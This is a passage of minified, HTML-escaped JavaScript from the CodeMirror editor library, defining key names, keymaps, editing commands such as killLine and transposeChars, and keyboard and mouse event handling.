var byClass=document.getElementsByClassName(&quot;CodeMirror&quot;),editors=[];for(var i=0;i&lt;byClass.length;i++){var cm=byClass[i].CodeMirror;if(cm){editors.push(cm)}}
if(editors.length){editors[0].operation(function(){for(var i=0;i&lt;editors.length;i++){f(editors[i])}})}}
var globalsRegistered=!1;function ensureGlobalHandlers(){if(globalsRegistered){return}
registerGlobalHandlers();globalsRegistered=!0}
function registerGlobalHandlers(){var resizeTimer;on(window,&quot;resize&quot;,function(){if(resizeTimer==null){resizeTimer=setTimeout(function(){resizeTimer=null;forEachCodeMirror(onResize)},100)}});on(window,&quot;blur&quot;,function(){return forEachCodeMirror(onBlur)})}
function onResize(cm){var d=cm.display;d.cachedCharWidth=d.cachedTextHeight=d.cachedPaddingH=null;d.scrollbarsClipped=!1;cm.setSize()}
var keyNames={3:&quot;Pause&quot;,8:&quot;Backspace&quot;,9:&quot;Tab&quot;,13:&quot;Enter&quot;,16:&quot;Shift&quot;,17:&quot;Ctrl&quot;,18:&quot;Alt&quot;,19:&quot;Pause&quot;,20:&quot;CapsLock&quot;,27:&quot;Esc&quot;,32:&quot;Space&quot;,33:&quot;PageUp&quot;,34:&quot;PageDown&quot;,35:&quot;End&quot;,36:&quot;Home&quot;,37:&quot;Left&quot;,38:&quot;Up&quot;,39:&quot;Right&quot;,40:&quot;Down&quot;,44:&quot;PrintScrn&quot;,45:&quot;Insert&quot;,46:&quot;Delete&quot;,59:&quot;;&quot;,61:&quot;=&quot;,91:&quot;Mod&quot;,92:&quot;Mod&quot;,93:&quot;Mod&quot;,106:&quot;*&quot;,107:&quot;=&quot;,109:&quot;-&quot;,110:&quot;.&quot;,111:&quot;/&quot;,145:&quot;ScrollLock&quot;,173:&quot;-&quot;,186:&quot;;&quot;,187:&quot;=&quot;,188:&quot;,&quot;,189:&quot;-&quot;,190:&quot;.&quot;,191:&quot;/&quot;,192:&quot;`&quot;,219:&quot;[&quot;,220:&quot;\\&quot;,221:&quot;]&quot;,222:&quot;&#039;&quot;,224:&quot;Mod&quot;,63232:&quot;Up&quot;,63233:&quot;Down&quot;,63234:&quot;Left&quot;,63235:&quot;Right&quot;,63272:&quot;Delete&quot;,63273:&quot;Home&quot;,63275:&quot;End&quot;,63276:&quot;PageUp&quot;,63277:&quot;PageDown&quot;,63302:&quot;Insert&quot;};for(var i=0;i&lt;10;i++){keyNames[i+48]=keyNames[i+96]=String(i)}
for(var i$1=65;i$1&lt;=90;i$1++){keyNames[i$1]=String.fromCharCode(i$1)}
for(var i$2=1;i$2&lt;=12;i$2++){keyNames[i$2+111]=keyNames[i$2+63235]=&quot;F&quot;+i$2}
var keyMap={};keyMap.basic={&quot;Left&quot;:&quot;goCharLeft&quot;,&quot;Right&quot;:&quot;goCharRight&quot;,&quot;Up&quot;:&quot;goLineUp&quot;,&quot;Down&quot;:&quot;goLineDown&quot;,&quot;End&quot;:&quot;goLineEnd&quot;,&quot;Home&quot;:&quot;goLineStartSmart&quot;,&quot;PageUp&quot;:&quot;goPageUp&quot;,&quot;PageDown&quot;:&quot;goPageDown&quot;,&quot;Delete&quot;:&quot;delCharAfter&quot;,&quot;Backspace&quot;:&quot;delCharBefore&quot;,&quot;Shift-Backspace&quot;:&quot;delCharBefore&quot;,&quot;Tab&quot;:&quot;defaultTab&quot;,&quot;Shift-Tab&quot;:&quot;indentAuto&quot;,&quot;Enter&quot;:&quot;newlineAndIndent&quot;,&quot;Insert&quot;:&quot;toggleOverwrite&quot;,&quot;Esc&quot;:&quot;singleSelection&quot;};keyMap.pcDefault={&quot;Ctrl-A&quot;:&quot;selectAll&quot;,&quot;Ctrl-D&quot;:&quot;deleteLine&quot;,&quot;Ctrl-Z&quot;:&quot;undo&quot;,&quot;Shift-Ctrl-Z&quot;:&quot;redo&quot;,&quot;Ctrl-Y&quot;:&quot;redo&quot;,&quot;Ctrl-Home&quot;:&quot;goDocStart&quot;,&quot;Ctrl-End&quot;:&quot;goDocEnd&quot;,&quot;Ctrl-Up&quot;:&quot;goLineUp&quot;,&quot;Ctrl-Down&quot;:&quot;goLineDown&quot;,&quot;Ctrl-Left&quot;:&quot;goGroupLeft&quot;,&quot;Ctrl-Right&quot;:&quot;goGroupRight&quot;,&quot;Alt-Left&quot;:&quot;goLineStart&quot;,&quot;Alt-Right&quot;:&quot;goLineEnd&quot;,&quot;Ctrl-Backspace&quot;:&quot;delGroupBefore&quot;,&quot;Ctrl-Delete&quot;:&quot;delGroupAfter&quot;,&quot;Ctrl-S&quot;:&quot;save&quot;,&quot;Ctrl-F&quot;:&quot;find&quot;,&quot;Ctrl-G&quot;:&quot;findNext&quot;,&quot;Shift-Ctrl-G&quot;:&quot;findPrev&quot;,&quot;Shift-Ctrl-F&quot;:&quot;replace&quot;,&quot;Shift-Ctrl-R&quot;:&quot;replaceAll&quot;,&quot;Ctrl-[&quot;:&quot;indentLess&quot;,&quot;Ctrl-]&quot;:&quot;indentMore&quot;,&quot;Ctrl-U&quot;:&quot;undoSelection&quot;,&quot;Shift-Ctrl-U&quot;:&quot;redoSelection&quot;,&quot;Alt-U&quot;:&quot;redoSelection&quot;,&quot;fallthrough&quot;:&quot;basic&quot;};keyMap.emacsy={&quot;Ctrl-F&quot;:&quot;goCharRight&quot;,&quot;Ctrl-B&quot;:&quot;goCharLeft&quot;,&quot;Ctrl-P&quot;:&quot;goLineUp&quot;,&quot;Ctrl-N&quot;:&quot;goLineDown&quot;,&quot;Alt-F&quot;:&quot;goWordRight&quot;,&quot;Alt-B&quot;:&quot;goWordLeft&quot;,&quot;Ctrl-A&quot;:&quot;goLineStart&quot;,&quot;Ctrl-E&quot;:&quot;goLineEnd&quot;,&quot;Ctrl-V&quot;:&quot;goPageDown&quot;,&quot;Shift-Ctrl-V&quot;:&quot;goPageUp&quot;,&quot;Ctrl-D&quot;:&quot;delCharAfter&quot;,&quot;Ctrl-H&quot;:&quot;delCharBefore&quot;,&quot;Alt-D&quot;:&quot;delWordAfter&quot;,&quot;Alt-Backspace&quot;:&quot;delWordBefore&quot;,&quot;Ctrl-K&quot;:&quot;killLine&quot;,&quot;Ctrl-T&quot;:&quot;transposeChars&quot;,&quot;Ctrl-O&quot;:&quot;openLine&quot;};keyMap.macDefault={&quot;Cmd-A&quot;:&quot;selectAll&quot;,&quot;Cmd-D&quot;:&quot;deleteLine&quot;,&quot;Cmd-Z&quot;:&quot;undo&quot;,&quot;Shift-Cmd-Z&quot;:&quot;redo&quot;,&quot;Cmd-Y&quot;:&quot;redo&quot;,&quot;Cmd-Home&quot;:&quot;goDocStart&quot;,&quot;Cmd-Up&quot;:&quot;goDocStart&quot;,&quot;Cmd-End&quot;:&quot;goDocEnd&quot;,&quot;Cmd-Down&quot;:&quot;goDocEnd&quot;,&quot;Alt-Left&quot;:&quot;goGroupLeft&quot;,&quot;Alt-Right&quot;:&quot;goGroupRight&quot;,&quot;Cmd-Left&quot;:&quot;goLineLeft&quot;,&quot;Cmd-Right&quot;:&quot;goLineRight&quot;,&quot;Alt-Backspace&quot;:&quot;delGroupBefore&quot;,&quot;Ctrl-Alt-Backspace&quot;:&quot;delGroupAfter&quot;,&quot;Alt-Delete&quot;:&quot;delGroupAfter&quot;,&quot;Cmd-S&quot;:&quot;save&quot;,&quot;Cmd-F&quot;:&quot;find&quot;,&quot;Cmd-G&quot;:&quot;findNext&quot;,&quot;Shift-Cmd-G&quot;:&quot;findPrev&quot;,&quot;Cmd-Alt-F&quot;:&quot;replace&quot;,&quot;Shift-Cmd-Alt-F&quot;:&quot;replaceAll&quot;,&quot;Cmd-[&quot;:&quot;indentLess&quot;,&quot;Cmd-]&quot;:&quot;indentMore&quot;,&quot;Cmd-Backspace&quot;:&quot;delWrappedLineLeft&quot;,&quot;Cmd-Delete&quot;:&quot;delWrappedLineRight&quot;,&quot;Cmd-U&quot;:&quot;undoSelection&quot;,&quot;Shift-Cmd-U&quot;:&quot;redoSelection&quot;,&quot;Ctrl-Up&quot;:&quot;goDocStart&quot;,&quot;Ctrl-Down&quot;:&quot;goDocEnd&quot;,&quot;fallthrough&quot;:[&quot;basic&quot;,&quot;emacsy&quot;]};keyMap[&quot;default&quot;]=mac?keyMap.macDefault:keyMap.pcDefault;function normalizeKeyName(name){var parts=name.split(/-(?!$)/);name=parts[parts.length-1];var alt,ctrl,shift,cmd;for(var i=0;i&lt;parts.length-1;i++){var mod=parts[i];if(/^(cmd|meta|m)$/i.test(mod)){cmd=!0}else if(/^a(lt)?$/i.test(mod)){alt=!0}else if(/^(c|ctrl|control)$/i.test(mod)){ctrl=!0}else if(/^s(hift)?$/i.test(mod)){shift=!0}else{throw new Error(&quot;Unrecognized modifier name: &quot;+mod)}}
if(alt){name=&quot;Alt-&quot;+name}
if(ctrl){name=&quot;Ctrl-&quot;+name}
if(cmd){name=&quot;Cmd-&quot;+name}
if(shift){name=&quot;Shift-&quot;+name}
return name}
function normalizeKeyMap(keymap){var copy={};for(var keyname in keymap){if(keymap.hasOwnProperty(keyname)){var value=keymap[keyname];if(/^(name|fallthrough|(de|at)tach)$/.test(keyname)){continue}
if(value==&quot;...&quot;){delete keymap[keyname];continue}
var keys=map(keyname.split(&quot; &quot;),normalizeKeyName);for(var i=0;i&lt;keys.length;i++){var val=(void 0),name=(void 0);if(i==keys.length-1){name=keys.join(&quot; &quot;);val=value}else{name=keys.slice(0,i+1).join(&quot; &quot;);val=&quot;...&quot;}
var prev=copy[name];if(!prev){copy[name]=val}else if(prev!=val){throw new Error(&quot;Inconsistent bindings for &quot;+name)}}
delete keymap[keyname]}}
for(var prop in copy){keymap[prop]=copy[prop]}
return keymap}
function lookupKey(key,map,handle,context){map=getKeyMap(map);var found=map.call?map.call(key,context):map[key];if(found===!1){return&quot;nothing&quot;}
if(found===&quot;...&quot;){return&quot;multi&quot;}
if(found!=null&amp;&amp;handle(found)){return&quot;handled&quot;}
if(map.fallthrough){if(Object.prototype.toString.call(map.fallthrough)!=&quot;[object Array]&quot;){return lookupKey(key,map.fallthrough,handle,context)}
for(var i=0;i&lt;map.fallthrough.length;i++){var result=lookupKey(key,map.fallthrough[i],handle,context);if(result){return result}}}}
function isModifierKey(value){var name=typeof value==&quot;string&quot;?value:keyNames[value.keyCode];return name==&quot;Ctrl&quot;||name==&quot;Alt&quot;||name==&quot;Shift&quot;||name==&quot;Mod&quot;}
function addModifierNames(name,event,noShift){var base=name;if(event.altKey&amp;&amp;base!=&quot;Alt&quot;){name=&quot;Alt-&quot;+name}
if((flipCtrlCmd?event.metaKey:event.ctrlKey)&amp;&amp;base!=&quot;Ctrl&quot;){name=&quot;Ctrl-&quot;+name}
if((flipCtrlCmd?event.ctrlKey:event.metaKey)&amp;&amp;base!=&quot;Mod&quot;){name=&quot;Cmd-&quot;+name}
if(!noShift&amp;&amp;event.shiftKey&amp;&amp;base!=&quot;Shift&quot;){name=&quot;Shift-&quot;+name}
return name}
function keyName(event,noShift){if(presto&amp;&amp;event.keyCode==34&amp;&amp;event[&quot;char&quot;]){return!1}
var name=keyNames[event.keyCode];if(name==null||event.altGraphKey){return!1}
if(event.keyCode==3&amp;&amp;event.code){name=event.code}
return addModifierNames(name,event,noShift)}
function getKeyMap(val){return typeof val==&quot;string&quot;?keyMap[val]:val}
function deleteNearSelection(cm,compute){var ranges=cm.doc.sel.ranges,kill=[];for(var i=0;i&lt;ranges.length;i++){var toKill=compute(ranges[i]);while(kill.length&amp;&amp;cmp(toKill.from,lst(kill).to)&lt;=0){var replaced=kill.pop();if(cmp(replaced.from,toKill.from)&lt;0){toKill.from=replaced.from;break}}
kill.push(toKill)}
runInOp(cm,function(){for(var i=kill.length-1;i&gt;=0;i--){replaceRange(cm.doc,&quot;&quot;,kill[i].from,kill[i].to,&quot;+delete&quot;)}
ensureCursorVisible(cm)})}
function moveCharLogically(line,ch,dir){var target=skipExtendingChars(line.text,ch+dir,dir);return target&lt;0||target&gt;line.text.length?null:target}
function moveLogically(line,start,dir){var ch=moveCharLogically(line,start.ch,dir);return ch==null?null:new Pos(start.line,ch,dir&lt;0?&quot;after&quot;:&quot;before&quot;)}
function endOfLine(visually,cm,lineObj,lineNo,dir){if(visually){if(cm.doc.direction==&quot;rtl&quot;){dir=-dir}
var order=getOrder(lineObj,cm.doc.direction);if(order){var part=dir&lt;0?lst(order):order[0];var moveInStorageOrder=(dir&lt;0)==(part.level==1);var sticky=moveInStorageOrder?&quot;after&quot;:&quot;before&quot;;var ch;if(part.level&gt;0||cm.doc.direction==&quot;rtl&quot;){var prep=prepareMeasureForLine(cm,lineObj);ch=dir&lt;0?lineObj.text.length-1:0;var targetTop=measureCharPrepared(cm,prep,ch).top;ch=findFirst(function(ch){return measureCharPrepared(cm,prep,ch).top==targetTop},(dir&lt;0)==(part.level==1)?part.from:part.to-1,ch);if(sticky==&quot;before&quot;){ch=moveCharLogically(lineObj,ch,1)}}else{ch=dir&lt;0?part.to:part.from}
return new Pos(lineNo,ch,sticky)}}
return new Pos(lineNo,dir&lt;0?lineObj.text.length:0,dir&lt;0?&quot;before&quot;:&quot;after&quot;)}
function moveVisually(cm,line,start,dir){var bidi=getOrder(line,cm.doc.direction);if(!bidi){return moveLogically(line,start,dir)}
if(start.ch&gt;=line.text.length){start.ch=line.text.length;start.sticky=&quot;before&quot;}else if(start.ch&lt;=0){start.ch=0;start.sticky=&quot;after&quot;}
var partPos=getBidiPartAt(bidi,start.ch,start.sticky),part=bidi[partPos];if(cm.doc.direction==&quot;ltr&quot;&amp;&amp;part.level%2==0&amp;&amp;(dir&gt;0?part.to&gt;start.ch:part.from&lt;start.ch)){return moveLogically(line,start,dir)}
var mv=function(pos,dir){return moveCharLogically(line,pos instanceof Pos?pos.ch:pos,dir)};var prep;var getWrappedLineExtent=function(ch){if(!cm.options.lineWrapping){return{begin:0,end:line.text.length}}
prep=prep||prepareMeasureForLine(cm,line);return wrappedLineExtentChar(cm,line,prep,ch)};var wrappedLineExtent=getWrappedLineExtent(start.sticky==&quot;before&quot;?mv(start,-1):start.ch);if(cm.doc.direction==&quot;rtl&quot;||part.level==1){var moveInStorageOrder=(part.level==1)==(dir&lt;0);var ch=mv(start,moveInStorageOrder?1:-1);if(ch!=null&amp;&amp;(!moveInStorageOrder?ch&gt;=part.from&amp;&amp;ch&gt;=wrappedLineExtent.begin:ch&lt;=part.to&amp;&amp;ch&lt;=wrappedLineExtent.end)){var sticky=moveInStorageOrder?&quot;before&quot;:&quot;after&quot;;return new Pos(start.line,ch,sticky)}}
var searchInVisualLine=function(partPos,dir,wrappedLineExtent){var getRes=function(ch,moveInStorageOrder){return moveInStorageOrder?new Pos(start.line,mv(ch,1),&quot;before&quot;):new Pos(start.line,ch,&quot;after&quot;)};for(;partPos&gt;=0&amp;&amp;partPos&lt;bidi.length;partPos+=dir){var part=bidi[partPos];var moveInStorageOrder=(dir&gt;0)==(part.level!=1);var ch=moveInStorageOrder?wrappedLineExtent.begin:mv(wrappedLineExtent.end,-1);if(part.from&lt;=ch&amp;&amp;ch&lt;part.to){return getRes(ch,moveInStorageOrder)}
ch=moveInStorageOrder?part.from:mv(part.to,-1);if(wrappedLineExtent.begin&lt;=ch&amp;&amp;ch&lt;wrappedLineExtent.end){return getRes(ch,moveInStorageOrder)}}};var res=searchInVisualLine(partPos+dir,dir,wrappedLineExtent);if(res){return res}
var nextCh=dir&gt;0?wrappedLineExtent.end:mv(wrappedLineExtent.begin,-1);if(nextCh!=null&amp;&amp;!(dir&gt;0&amp;&amp;nextCh==line.text.length)){res=searchInVisualLine(dir&gt;0?0:bidi.length-1,dir,getWrappedLineExtent(nextCh));if(res){return res}}
return null}
var commands={selectAll:selectAll,singleSelection:function(cm){return cm.setSelection(cm.getCursor(&quot;anchor&quot;),cm.getCursor(&quot;head&quot;),sel_dontScroll)},killLine:function(cm){return deleteNearSelection(cm,function(range){if(range.empty()){var len=getLine(cm.doc,range.head.line).text.length;if(range.head.ch==len&amp;&amp;range.head.line&lt;cm.lastLine()){return{from:range.head,to:Pos(range.head.line+1,0)}}else{return{from:range.head,to:Pos(range.head.line,len)}}}else{return{from:range.from(),to:range.to()}}})},deleteLine:function(cm){return deleteNearSelection(cm,function(range){return({from:Pos(range.from().line,0),to:clipPos(cm.doc,Pos(range.to().line+1,0))})})},delLineLeft:function(cm){return deleteNearSelection(cm,function(range){return({from:Pos(range.from().line,0),to:range.from()})})},delWrappedLineLeft:function(cm){return deleteNearSelection(cm,function(range){var top=cm.charCoords(range.head,&quot;div&quot;).top+5;var leftPos=cm.coordsChar({left:0,top:top},&quot;div&quot;);return{from:leftPos,to:range.from()}})},delWrappedLineRight:function(cm){return deleteNearSelection(cm,function(range){var top=cm.charCoords(range.head,&quot;div&quot;).top+5;var rightPos=cm.coordsChar({left:cm.display.lineDiv.offsetWidth+100,top:top},&quot;div&quot;);return{from:range.from(),to:rightPos}})},undo:function(cm){return cm.undo()},redo:function(cm){return cm.redo()},undoSelection:function(cm){return cm.undoSelection()},redoSelection:function(cm){return cm.redoSelection()},goDocStart:function(cm){return cm.extendSelection(Pos(cm.firstLine(),0))},goDocEnd:function(cm){return cm.extendSelection(Pos(cm.lastLine()))},goLineStart:function(cm){return cm.extendSelectionsBy(function(range){return lineStart(cm,range.head.line)},{origin:&quot;+move&quot;,bias:1})},goLineStartSmart:function(cm){return cm.extendSelectionsBy(function(range){return lineStartSmart(cm,range.head)},{origin:&quot;+move&quot;,bias:1})},goLineEnd:function(cm){return cm.extendSelectionsBy(function(range){return lineEnd(cm,range.head.line)},{origin:&quot;+move&quot;,bias:-1})},goLineRight:function(cm){return cm.extendSelectionsBy(function(range){var top=cm.cursorCoords(range.head,&quot;div&quot;).top+5;return cm.coordsChar({left:cm.display.lineDiv.offsetWidth+100,top:top},&quot;div&quot;)},sel_move)},goLineLeft:function(cm){return cm.extendSelectionsBy(function(range){var top=cm.cursorCoords(range.head,&quot;div&quot;).top+5;return cm.coordsChar({left:0,top:top},&quot;div&quot;)},sel_move)},goLineLeftSmart:function(cm){return cm.extendSelectionsBy(function(range){var top=cm.cursorCoords(range.head,&quot;div&quot;).top+5;var pos=cm.coordsChar({left:0,top:top},&quot;div&quot;);if(pos.ch&lt;cm.getLine(pos.line).search(/\S/)){return lineStartSmart(cm,range.head)}
return pos},sel_move)},goLineUp:function(cm){return cm.moveV(-1,&quot;line&quot;)},goLineDown:function(cm){return cm.moveV(1,&quot;line&quot;)},goPageUp:function(cm){return cm.moveV(-1,&quot;page&quot;)},goPageDown:function(cm){return cm.moveV(1,&quot;page&quot;)},goCharLeft:function(cm){return cm.moveH(-1,&quot;char&quot;)},goCharRight:function(cm){return cm.moveH(1,&quot;char&quot;)},goColumnLeft:function(cm){return cm.moveH(-1,&quot;column&quot;)},goColumnRight:function(cm){return cm.moveH(1,&quot;column&quot;)},goWordLeft:function(cm){return cm.moveH(-1,&quot;word&quot;)},goGroupRight:function(cm){return cm.moveH(1,&quot;group&quot;)},goGroupLeft:function(cm){return cm.moveH(-1,&quot;group&quot;)},goWordRight:function(cm){return cm.moveH(1,&quot;word&quot;)},delCharBefore:function(cm){return cm.deleteH(-1,&quot;codepoint&quot;)},delCharAfter:function(cm){return cm.deleteH(1,&quot;char&quot;)},delWordBefore:function(cm){return cm.deleteH(-1,&quot;word&quot;)},delWordAfter:function(cm){return cm.deleteH(1,&quot;word&quot;)},delGroupBefore:function(cm){return cm.deleteH(-1,&quot;group&quot;)},delGroupAfter:function(cm){return cm.deleteH(1,&quot;group&quot;)},indentAuto:function(cm){return cm.indentSelection(&quot;smart&quot;)},indentMore:function(cm){return cm.indentSelection(&quot;add&quot;)},indentLess:function(cm){return cm.indentSelection(&quot;subtract&quot;)},insertTab:function(cm){return cm.replaceSelection(&quot;\t&quot;)},insertSoftTab:function(cm){var spaces=[],ranges=cm.listSelections(),tabSize=cm.options.tabSize;for(var i=0;i&lt;ranges.length;i++){var pos=ranges[i].from();var col=countColumn(cm.getLine(pos.line),pos.ch,tabSize);spaces.push(spaceStr(tabSize-col%tabSize))}
cm.replaceSelections(spaces)},defaultTab:function(cm){if(cm.somethingSelected()){cm.indentSelection(&quot;add&quot;)}else{cm.execCommand(&quot;insertTab&quot;)}},transposeChars:function(cm){return runInOp(cm,function(){var ranges=cm.listSelections(),newSel=[];for(var i=0;i&lt;ranges.length;i++){if(!ranges[i].empty()){continue}
var cur=ranges[i].head,line=getLine(cm.doc,cur.line).text;if(line){if(cur.ch==line.length){cur=new Pos(cur.line,cur.ch-1)}
if(cur.ch&gt;0){cur=new Pos(cur.line,cur.ch+1);cm.replaceRange(line.charAt(cur.ch-1)+line.charAt(cur.ch-2),Pos(cur.line,cur.ch-2),cur,&quot;+transpose&quot;)}else if(cur.line&gt;cm.doc.first){var prev=getLine(cm.doc,cur.line-1).text;if(prev){cur=new Pos(cur.line,1);cm.replaceRange(line.charAt(0)+cm.doc.lineSeparator()+prev.charAt(prev.length-1),Pos(cur.line-1,prev.length-1),cur,&quot;+transpose&quot;)}}}
newSel.push(new Range(cur,cur))}
cm.setSelections(newSel)})},newlineAndIndent:function(cm){return runInOp(cm,function(){var sels=cm.listSelections();for(var i=sels.length-1;i&gt;=0;i--){cm.replaceRange(cm.doc.lineSeparator(),sels[i].anchor,sels[i].head,&quot;+input&quot;)}
sels=cm.listSelections();for(var i$1=0;i$1&lt;sels.length;i$1++){cm.indentLine(sels[i$1].from().line,null,!0)}
ensureCursorVisible(cm)})},openLine:function(cm){return cm.replaceSelection(&quot;\n&quot;,&quot;start&quot;)},toggleOverwrite:function(cm){return cm.toggleOverwrite()}};function lineStart(cm,lineN){var line=getLine(cm.doc,lineN);var visual=visualLine(line);if(visual!=line){lineN=lineNo(visual)}
return endOfLine(!0,cm,visual,lineN,1)}
function lineEnd(cm,lineN){var line=getLine(cm.doc,lineN);var visual=visualLineEnd(line);if(visual!=line){lineN=lineNo(visual)}
return endOfLine(!0,cm,line,lineN,-1)}
function lineStartSmart(cm,pos){var start=lineStart(cm,pos.line);var line=getLine(cm.doc,start.line);var order=getOrder(line,cm.doc.direction);if(!order||order[0].level==0){var firstNonWS=Math.max(start.ch,line.text.search(/\S/));var inWS=pos.line==start.line&amp;&amp;pos.ch&lt;=firstNonWS&amp;&amp;pos.ch;return Pos(start.line,inWS?0:firstNonWS,start.sticky)}
return start}
function doHandleBinding(cm,bound,dropShift){if(typeof bound==&quot;string&quot;){bound=commands[bound];if(!bound){return!1}}
cm.display.input.ensurePolled();var prevShift=cm.display.shift,done=!1;try{if(cm.isReadOnly()){cm.state.suppressEdits=!0}
if(dropShift){cm.display.shift=!1}
done=bound(cm)!=Pass}finally{cm.display.shift=prevShift;cm.state.suppressEdits=!1}
return done}
function lookupKeyForEditor(cm,name,handle){for(var i=0;i&lt;cm.state.keyMaps.length;i++){var result=lookupKey(name,cm.state.keyMaps[i],handle,cm);if(result){return result}}
return(cm.options.extraKeys&amp;&amp;lookupKey(name,cm.options.extraKeys,handle,cm))||lookupKey(name,cm.options.keyMap,handle,cm)}
var stopSeq=new Delayed;function dispatchKey(cm,name,e,handle){var seq=cm.state.keySeq;if(seq){if(isModifierKey(name)){return&quot;handled&quot;}
if(/\&#039;$/.test(name)){cm.state.keySeq=null}else{stopSeq.set(50,function(){if(cm.state.keySeq==seq){cm.state.keySeq=null;cm.display.input.reset()}})}
if(dispatchKeyInner(cm,seq+&quot; &quot;+name,e,handle)){return!0}}
return dispatchKeyInner(cm,name,e,handle)}
function dispatchKeyInner(cm,name,e,handle){var result=lookupKeyForEditor(cm,name,handle);if(result==&quot;multi&quot;){cm.state.keySeq=name}
if(result==&quot;handled&quot;){signalLater(cm,&quot;keyHandled&quot;,cm,name,e)}
if(result==&quot;handled&quot;||result==&quot;multi&quot;){e_preventDefault(e);restartBlink(cm)}
return!!result}
function handleKeyBinding(cm,e){var name=keyName(e,!0);if(!name){return!1}
if(e.shiftKey&amp;&amp;!cm.state.keySeq){return dispatchKey(cm,&quot;Shift-&quot;+name,e,function(b){return doHandleBinding(cm,b,!0)})||dispatchKey(cm,name,e,function(b){if(typeof b==&quot;string&quot;?/^go[A-Z]/.test(b):b.motion){return doHandleBinding(cm,b)}})}else{return dispatchKey(cm,name,e,function(b){return doHandleBinding(cm,b)})}}
function handleCharBinding(cm,e,ch){return dispatchKey(cm,&quot;&#039;&quot;+ch+&quot;&#039;&quot;,e,function(b){return doHandleBinding(cm,b,!0)})}
var lastStoppedKey=null;function onKeyDown(e){var cm=this;if(e.target&amp;&amp;e.target!=cm.display.input.getField()){return}
cm.curOp.focus=activeElt();if(signalDOMEvent(cm,e)){return}
if(ie&amp;&amp;ie_version&lt;11&amp;&amp;e.keyCode==27){e.returnValue=!1}
var code=e.keyCode;cm.display.shift=code==16||e.shiftKey;var handled=handleKeyBinding(cm,e);if(presto){lastStoppedKey=handled?code:null;if(!handled&amp;&amp;code==88&amp;&amp;!hasCopyEvent&amp;&amp;(mac?e.metaKey:e.ctrlKey)){cm.replaceSelection(&quot;&quot;,null,&quot;cut&quot;)}}
if(gecko&amp;&amp;!mac&amp;&amp;!handled&amp;&amp;code==46&amp;&amp;e.shiftKey&amp;&amp;!e.ctrlKey&amp;&amp;document.execCommand){document.execCommand(&quot;cut&quot;)}
if(code==18&amp;&amp;!/\bCodeMirror-crosshair\b/.test(cm.display.lineDiv.className)){showCrossHair(cm)}}
function showCrossHair(cm){var lineDiv=cm.display.lineDiv;addClass(lineDiv,&quot;CodeMirror-crosshair&quot;);function up(e){if(e.keyCode==18||!e.altKey){rmClass(lineDiv,&quot;CodeMirror-crosshair&quot;);off(document,&quot;keyup&quot;,up);off(document,&quot;mouseover&quot;,up)}}
on(document,&quot;keyup&quot;,up);on(document,&quot;mouseover&quot;,up)}
function onKeyUp(e){if(e.keyCode==16){this.doc.sel.shift=!1}
signalDOMEvent(this,e)}
function onKeyPress(e){var cm=this;if(e.target&amp;&amp;e.target!=cm.display.input.getField()){return}
if(eventInWidget(cm.display,e)||signalDOMEvent(cm,e)||e.ctrlKey&amp;&amp;!e.altKey||mac&amp;&amp;e.metaKey){return}
var keyCode=e.keyCode,charCode=e.charCode;if(presto&amp;&amp;keyCode==lastStoppedKey){lastStoppedKey=null;e_preventDefault(e);return}
if((presto&amp;&amp;(!e.which||e.which&lt;10))&amp;&amp;handleKeyBinding(cm,e)){return}
var ch=String.fromCharCode(charCode==null?keyCode:charCode);if(ch==&quot;\x08&quot;){return}
if(handleCharBinding(cm,e,ch)){return}
cm.display.input.onKeyPress(e)}
var DOUBLECLICK_DELAY=400;var PastClick=function(time,pos,button){this.time=time;this.pos=pos;this.button=button};PastClick.prototype.compare=function(time,pos,button){return this.time+DOUBLECLICK_DELAY&gt;time&amp;&amp;cmp(pos,this.pos)==0&amp;&amp;button==this.button};var lastClick,lastDoubleClick;function clickRepeat(pos,button){var now=+new Date;if(lastDoubleClick&amp;&amp;lastDoubleClick.compare(now,pos,button)){lastClick=lastDoubleClick=null;return&quot;triple&quot;}else if(lastClick&amp;&amp;lastClick.compare(now,pos,button)){lastDoubleClick=new PastClick(now,pos,button);lastClick=null;return&quot;double&quot;}else{lastClick=new PastClick(now,pos,button);lastDoubleClick=null;return&quot;single&quot;}}
function onMouseDown(e){var cm=this,display=cm.display;if(signalDOMEvent(cm,e)||display.activeTouch&amp;&amp;display.input.supportsTouch()){return}
display.input.ensurePolled();display.shift=e.shiftKey;if(eventInWidget(display,e)){if(!webkit){display.scroller.draggable=!1;setTimeout(function(){return display.scroller.draggable=!0},100)}
return}
if(clickInGutter(cm,e)){return}
var pos=posFromMouse(cm,e),button=e_button(e),repeat=pos?clickRepeat(pos,button):&quot;single&quot;;window.focus();if(button==1&amp;&amp;cm.state.selectingText){cm.state.selectingText(e)}
if(pos&amp;&amp;handleMappedButton(cm,button,pos,repeat,e)){return}
if(button==1){if(pos){leftButtonDown(cm,pos,repeat,e)}else if(e_target(e)==display.scroller){e_preventDefault(e)}}else if(button==2){if(pos){extendSelection(cm.doc,pos)}
setTimeout(function(){return display.input.focus()},20)}else if(button==3){if(captureRightClick){cm.display.input.onContextMenu(e)}else{delayBlurEvent(cm)}}}
function handleMappedButton(cm,button,pos,repeat,event){var name=&quot;Click&quot;;if(repeat==&quot;double&quot;){name=&quot;Double&quot;+name}else if(repeat==&quot;triple&quot;){name=&quot;Triple&quot;+name}
name=(button==1?&quot;Left&quot;:button==2?&quot;Middle&quot;:&quot;Right&quot;)+name;return dispatchKey(cm,addModifierNames(name,event),event,function(bound){if(typeof bound==&quot;string&quot;){bound=commands[bound]}
if(!bound){return!1}
var done=!1;try{if(cm.isReadOnly()){cm.state.suppressEdits=!0}
done=bound(cm,pos)!=Pass}finally{cm.state.suppressEdits=!1}
return done})}
function configureMouse(cm,repeat,event){var option=cm.getOption(&quot;configureMouse&quot;);var value=option?option(cm,repeat,event):{};if(value.unit==null){var rect=chromeOS?event.shiftKey&amp;&amp;event.metaKey:event.altKey;value.unit=rect?&quot;rectangle&quot;:repeat==&quot;single&quot;?&quot;char&quot;:repeat==&quot;double&quot;?&quot;word&quot;:&quot;line&quot;}
if(value.extend==null||cm.doc.extend){value.extend=cm.doc.extend||event.shiftKey}
if(value.addNew==null){value.addNew=mac?event.metaKey:event.ctrlKey}
if(value.moveOnDrag==null){value.moveOnDrag=!(mac?event.altKey:event.ctrlKey)}
return value}
function leftButtonDown(cm,pos,repeat,event){if(ie){setTimeout(bind(ensureFocus,cm),0)}else{cm.curOp.focus=activeElt()}
